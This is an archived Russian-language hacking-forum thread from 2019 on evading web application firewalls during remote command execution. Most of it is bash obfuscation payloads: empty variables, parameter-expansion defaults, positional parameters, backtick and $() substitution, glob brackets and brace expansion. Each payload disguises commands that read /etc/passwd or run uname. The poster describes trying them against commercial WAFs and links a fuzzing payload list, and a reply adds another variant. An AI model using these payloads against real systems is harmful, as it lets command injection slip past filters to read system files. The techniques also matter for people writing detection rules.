PDA

Просмотр полной версии : Маленькое дополнение по RCE waf bypas


Baskin-Robbins
19.11.2019, 14:10
Вобщем несколько маленьких моментов, о которых не видел чтобы писали. Сразу скажу что особо не тестил,

повтыкал рандомно в AWS, WTF-WAF, GoDaddy, CloudFlare - где-то ругался, где-то нет. Так что просто к размышлению.

Сразу прикреплю несколько линков по теме, они встречались уже на форуме, но к теме относятся поэтому повторюсь.

https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

https://www.secjuice.com/web-application-firewall-waf-evasion/

https://chybeta.gitbooks.io/waf-bypass/ming-ling-zhu-ru/rao-guo-fang-fa.html

Момент первый

Знаем


Code:
cat$u /etc$u/passwd$u

Дополнение

Можем юзать переменную хоть в середине слова, если за ней идет спецсимвол или пробел.


Code:
ca$u\t /et$u''c/pass$u""wd
ca${u}t /et${u}c/pass${u}wd


Момент второй

Прям в доках написано.


Code:
${foo-bar}xyc

Получаем такие чудеса.


Code:
${asd-c}at ${asd-/e}tc/passwd
${asd-u}n${asd-a}m${asd-e}
${asd-u}n${asd-a}m${asd-e} ${asd--a}


Момент третий

Позиционные параметры.

Встречал такие штуки, но для чего они там так и не понял.


Code:
cat${IFS}${9}/etc/passwd

Можно смело лепить так, тут спецсимволы не нужны как в первом случае.


Code:
c$2a$2t /e$2t$3c$2/p$2as$7swd

c$*a$2t /e$*t$*c$*/p$*as$*swd
c$@a$@t /e$@t$@c$@/p$@as$@swd
c$!a$!t /e$!t$!c$!/p$!as$!swd


Момент четвертый

Подстановка команд

`` и $() нам в помощь.


Code:
ca`sss`t /et`asdsd`c/pass`assa`wd
ca$(sss)t /et$(asdsd)c/pass$(assa)wd


Момент пятый

Ничего особенного.


Code:
cat /e[tdf]c/pa[s]s[w][dertyujhffd]
/b[ai][adn]/c[ia][rt] /e[tdf]c/pa[s]s[w][dertyujhffd]

В баш есть такое


Code:
echo a{aa,bb}
aaa abb

Но...


Code:
c{at,ss}
cat: css: Нет такого файла или каталога

Возвращает нам наш любимый passwd.


Code:
{cat,/etc/passwd}

Проблема: Ъ шеллу абсолютно все равно что я там собираюсь подставлять и байпасить, в sh как есть не выполнить.

Есть такой вариант


Code:
echo {cat,/etc/passwd}|bash

Может у кого есть варианты на этот счет поинтереснее?

Тут прикрепил свою базу для фазинга по RCE за WAF.

/threads/467599/#post-4346489 (https://antichat.live/threads/467599/)

b3
20.11.2019, 15:22
Не смог плюсануть( двиг не позволяет. Это все дефольтные фишки линукс оболочек, еще вот:


Code:
cat$IFS/e*/p*d